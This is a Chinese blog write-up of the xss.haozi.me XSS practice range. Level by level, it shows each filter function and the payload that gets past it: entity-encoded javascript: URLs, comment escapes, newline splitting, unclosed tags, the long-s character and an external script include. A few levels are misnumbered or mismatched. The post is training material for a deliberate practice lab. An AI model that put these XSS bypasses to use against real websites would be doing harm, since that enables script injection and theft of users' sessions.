当前位置: 首页 > news >正文

xss.haozi.me靶场练习

靶场地址alert(1)

1、第一关

输入在文本框里面,我们闭合前面的标签,中间的内容我们就可以随意写了

2、第二关

逃逸value的属性即可,这里使用点击事件触发xss

3、第三关

看代码,使用了正则表达式,去掉了所有的括号字符

/[()]/g是一个正则表达式,表示匹配字符串中包含的括号字符"()"。在正则表达式中,方括号[]表示字符集合,其中列出的字符表示需要匹配的字符。因此[()]表示匹配任何一个括号字符,即左括号"("或右括号")"。而后面的g标志表示全局匹配,即匹配整个字符串中的所有符合条件的部分,而不是只匹配第一个。

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}

尝试编码绕过,但是因为在JavaScript里面不会解码,因此编码绕过失败

(1)a标签

我们使用a标签,里面使用编码却可以绕过,为啥?因为编码有顺序

在href里面,先是解析url编码,然后html实体编码,最后是JavaScript编码。所以在里面先被html实体编码解析过了,括号已经生成了

<a href="javascript:alert&#40;1&#41;">test</a>

(2)iframe标签

既然html在JavaScript前面,那么具有url编码的iframe标签也可以进行

<iframe src="javascript:alert&#40;1&#41;">test</iframe>

4、第四关

和上一关payload一样,只是增加了个反引号过滤罢了

5、第五关

让我们逃逸注释符

function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>

上面这种可以闭合

6、第六关

源码过滤了以auto或on开头并且结尾是=的字符串,替换成_了,我们可以使用换行来分开这串字符串

function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}

payload

onclick
=alert(1)

7、第七关

源码过滤了html的常用标签符号,当我们尝试<>,就会过滤掉,因此绕过方法是使用单标签不完全闭合。

function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"

8、第八关

正则过滤了</script>,和前面一关很像,直接换行过滤即可

</style
>
<script>alert(1)</script>
<style>

9、第九关

https://www.segmentfault.com"></script><script>alert(1)</script>//
https://www.segmentfault.com.haozi.me/j.js

10、0x0A

URL重定向

https://www.segmentfault.com.haozi.me/j.js

11、0x0B

源码将输入的转成大写了,JavaScript肯定不行了,但是HTML不区分大小写,符号和数字也不会,那就用编码呗

function render (input) {input = input.toUpperCase()return `<h1>${input}</h1>`
}
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12、0x0C

和上一关payload一样,编码绕过大写即可

13、0x0D

这一关过滤了< " '而且前面还有注释,我们使用换行绕过//,使用-->注释掉


alert(1)
-->

14、0x0E

源码将html的标签转换为以_开头,所有输入转为大写

function render (input) {input = input.replace(/<([a-zA-Z])/g, '<_$1')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

特殊技巧用ſ字符可以替换s

<ſcript src="https://xss.haozi.me/j.js"></script>

15、0x0F

闭合括号就行

');alert('1

16、第十关

直接闭合前面的<script标签即可>

</script><script>alert(1)

17、第十一关

还是闭合加注释即可

");alert(1)//

18、第十二关

转义转义我们的转义符号

\");alert(1)//

Yes 结束!

http://www.lryc.cn/news/310363.html

相关文章:

  • Unity 游戏设计模式:观察者模式
  • 计算机体系结构安全:对体系结构如何支持安全机制进行调研
  • b站小土堆pytorch学习记录—— P15 Dataloader的使用
  • 小程序中使用echarts地图
  • swoole协程
  • Android Gradle 开发与应用 (一) : Gradle基础
  • PostgreSQL操作笔记
  • 【微服务】微服务中常用认证加密方案总结
  • 【Unity】实现从Excel读取数据制作年份选择器
  • Sqli-labs靶场第18关详解[Sqli-labs-less-18]自动化注入-SQLmap工具注入
  • 【测开求职】2023秋招快手一面面经
  • 【Go语言】Go语言中的字典
  • Matlab 机器人工具箱 创建机器人
  • 跨平台指南:在 Windows 和 Linux 上安装 OpenSSL 的完整流程
  • JAVA请求示例获取1688商品详情数据API接口item_get-获得阿里巴巴商品详情(按关键词搜索商品列表)
  • 安卓手机安装termux、kali linux及基本配置
  • Python 实现海康机器人工业相机 MV-CS050-10GC 的实时显示视频流及拍照功能(实时显示视频流同时可以进行拍照)
  • 武器大师——操作符详解(下)
  • 鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:Popup控制)
  • Python系列(20)—— 排序算法
  • MySQL中json类型的字段
  • 算法学习——GCD与欧拉函数
  • 40. 组合总和 II(力扣LeetCode)
  • Ubuntu上Jenkins自动化部署Gitee上SpringBoot项目
  • 延迟任务基于DeyalQueue
  • Linux 查询端口被占用命令
  • 【c++】string类---标准库中的string类
  • GO语言学习笔记(与Java的比较学习)(五)
  • Sora:探索大型视觉模型的前世今生、技术内核及未来趋势
  • 基于springboot实现图书馆管理系统项目【项目源码+论文说明】计算机毕业设计